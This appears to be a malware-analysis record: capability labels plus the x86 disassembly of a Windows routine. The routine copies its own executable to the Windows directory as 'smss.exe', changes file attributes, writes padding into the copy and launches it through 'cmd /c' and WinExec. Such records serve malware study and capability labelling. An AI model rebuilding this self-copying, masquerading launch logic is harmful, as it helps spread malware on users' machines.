Function at 0x14001000
Capabilities:
Copy file
Create process on windows
Get common file path
Set file attributes
Terminate process
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x2d4
push ebx
push esi
push edi
mov ecx, 0x31
xor eax, eax
lea edi, [esp + 0x219]
mov byte [esp + 0x218], 0
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x118]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x10]
push 0x104
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, str._system_smss.exe
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x114]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea esi, [esp + 0x10]
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x140010aa
test cl, cl
je 0x140010a6
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x140010aa
add eax, 2
add esi, 2
test cl, cl
jne 0x14001082
xor eax, eax
jmp 0x140010af
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x140010c7
lea eax, [esp + 0x10]
push eax
call fcn.140012d0
add esp, 4
push 0
call fcn.14002f51
mov esi, str.C:windows.txt
lea eax, [esp + 0x114]
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x140010fb
test cl, cl
je 0x140010f7
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x140010fb
add eax, 2
add esi, 2
test cl, cl
jne 0x140010d3
xor eax, eax
jmp 0x14001100
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x1400112b
push 0x1f40
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x10]
push 0x80
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call fcn.140014d0
push 0
call fcn.14002f51
mov esi, str.C:WindowsUpdate.txt
lea eax, [esp + 0x114]
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x1400115f
test cl, cl
je 0x1400115b
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x1400115f
add eax, 2
add esi, 2
test cl, cl
jne 0x14001137
xor eax, eax
jmp 0x14001164
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x14001173
push 0x3e80
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x114]
push eax
call 0x14001240
mov ebx, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
add esp, 4
lea ecx, [esp + 0x10]
push 0x80
push ecx
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, 0xa
lea edx, [esp + 0x10]
push 0
lea eax, [esp + 0x118]
push edx
push eax
call edi
dec esi
jne 0x140011a0
push 0
push 0x80
push 3
push 0
push 2
lea ecx, [esp + 0x24]
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
mov esi, eax
push 0
push 0x2d0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea edx, [esp + 0xc]
push 0
push edx
push 0xc8
push str.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [esp + 0x10]
push 7
push eax
call ebx
lea ecx, [esp + 0x10]
lea edx, [esp + 0x218]
push ecx
push str.cmd__c__s
push edx
call fcn.14002ed2
add esp, 0xc
lea eax, [esp + 0x218]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0
call fcn.14002f51
nop
nop
nop
nop
sub esp, 0x1c
xor eax, eax
push esi
mov dword [esp + 0xd], eax
push edi
mov edi, dword [esp + 0x28]
mov dword [esp + 0x15], eax
mov dword [esp + 0x19], eax
mov byte [esp + 8], 0
mov dword [esp + 0x1d], eax
mov dword [esp + 9], 0
mov word [esp + 0x21], ax
mov byte [esp + 0x10], 0
mov byte [esp + 0x23], al
lea eax, [edi - 1]
xor esi, esi
inc eax
push 0x5c
push eax
call fcn.14003140
add esp, 8
test eax, eax
je 0x1400128e
inc esi
jmp 0x1400127b
cmp esi, 1
jne 0x140012c4
push 3
lea ecx, [esp + 0xc]
push edi
push ecx
call fcn.14003030
lea edx, [esp + 0x14]
lea eax, [esp + 0x1c]
push edx
push str.explorer__s
push eax
call fcn.14002ed2
add esp, 0x18
lea ecx, [esp + 0x10]
push 5
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
pop edi
pop esi
add esp, 0x1c
ret